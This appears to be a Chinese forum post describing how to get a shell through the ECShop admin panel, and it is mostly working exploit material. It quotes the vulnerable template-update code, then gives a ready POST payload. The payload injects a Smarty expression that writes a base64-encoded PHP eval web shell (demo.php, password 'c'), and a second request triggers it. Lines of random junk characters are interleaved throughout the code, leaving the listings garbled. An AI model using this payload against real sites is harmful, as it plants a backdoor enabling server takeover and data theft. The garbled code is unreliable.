Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
5 L0 M, A7 y) Xadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   
% s! d0 C3 r8 d/ X( e
* g$ {- \$ F" g1 V: M, J3 {

4     check_authz_json('library_manage');
% @: ]7 X. W- M( o2 A
7 b9 K* }8 i7 a5   
' a+ J: I; a* O
6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ X& T0 k; [- F% U* Y
, P. [8 e: [5 [) Z9   
8 S4 m. k& G/ b! ?
: K6 m$ L4 p5 V& W" u5 k6 A5 m4 e10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  w# Y6 N. r; d, G# s+ l
11   
3 X3 C/ |/ y- s# _  z
5 E' T% ^8 p9 n- `  G& k12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 i1 A4 w# q; K) w! e0 v
  b- v9 ?3 p4 A13   

, n( A, U/ {6 d14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; M  c0 I( w8 M: s$ I1 q
15     {
0 [4 b( u- Q+ ?* ?
$ ^4 {# b9 A4 V1 V4 Z. y: d16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

" @+ J$ T2 v' E! z( {% d4 J17         make_json_result('', $_LANG['update_lib_success']);

18     }

19     else

20     {

. o1 C- \1 T1 |+ ?) T( u8 @& Z- I21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ N# n: ^5 {, v, K& G' V
$ ]' X* M7 ~& B" P1 t22     }

( M" [9 {& p* c6 i& H% L23 }

那么找个比较方便调用了模板的文件
index.php
+ m4 o+ u3 m6 t8 ?1 U. ~$ i
1 if ($act == 'cat_rec')
( B! q# _. P0 {6 F" [
2   
; C/ ?7 {0 e: `1 p4 M8 ^! L2 Z/ a
3 {

4   
3 f9 b* H  C; o: t7 K
# S3 G; A2 ^7 V" R; n5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
% q9 s1 h$ d) U0 X
1 S( M- ^1 ^. ]9 F+ L6   

- V+ t# t  \9 ]4 E8 ]4 q5 W/ S+ W7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
% I! ~5 `$ W6 `- u2 L7 a
( G' Z8 K# L2 z9 R1 E8   
7 b8 H" f! L5 b
/ l/ M5 R4 E) ?$ n) E* A9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 ~# P0 n( _0 v% Q/ C* ~
10   

11     include_once('includes/cls_json.php');
5 V% ~( D& h- Y- {  ^8 f0 M
12   
/ n0 L& E+ J" a( h
13     $json = new JSON;
! c& S, a, f! N. h) ?, l/ Q
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ Z; S4 h0 ^% A5 @
16   
  ?4 L1 k2 [' E1 f/ F: q
# e0 }. p* j- o17     $children = get_children($cat_id);
1 l+ X- U: D( }' U! O) P; |
* `8 ?: {' c+ ?18   

* Z- O. h3 j8 F3 Y9 q+ {19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

$ @9 {  I' Q" l% Z5 `  N5 b$ o20   
# @4 g  X: t) _5 f
4 d  n9 U4 O. h" r21     $smarty->assign('cat_rec_sign', 1);
- R* S8 V2 A, h& f
22   
( s- l1 b. y4 W1 Z6 y# P
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
: v' }  B1 S3 Z, [' Y' _
24   

$ u$ q! q' {. N% C1 m3 U25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% p8 z% }' U+ M) y% M
8 ~! m6 W2 ]3 @9 c1 Q26   

27         echo $rec_array[$rec_type];

28   

9 Q2 y7 M1 J  @9 U6 Z7 ~6 w29     die($json->encode($result));
! e8 v( ?7 r+ H# g6 S
" x) s  C0 u, A. m30   

+ r; e1 `: y7 M# D' Y( j31 }
& r( K1 p5 {' m3 p9 u
: e2 ^7 b2 J" f那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
! F% n4 z6 Z- b' l  W7 p
​
) ~5 Q: B8 n: [, J  m! I( k1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
) j8 x1 n! r) G1 h% z$ O' T; |
然后访问http://localhost/ec/index.php?act=cat_rec
! U' N4 b0 `5 J! f
; {: J9 w' X/ g/ T( Wshel地址：http://localhost/ec/demo.php
2 Z  b- ^# B) v$ K" f; S" S密码c
( y  x4 M; k5 B
( B9 [- i. q- y6 S7 Z- y7 M& j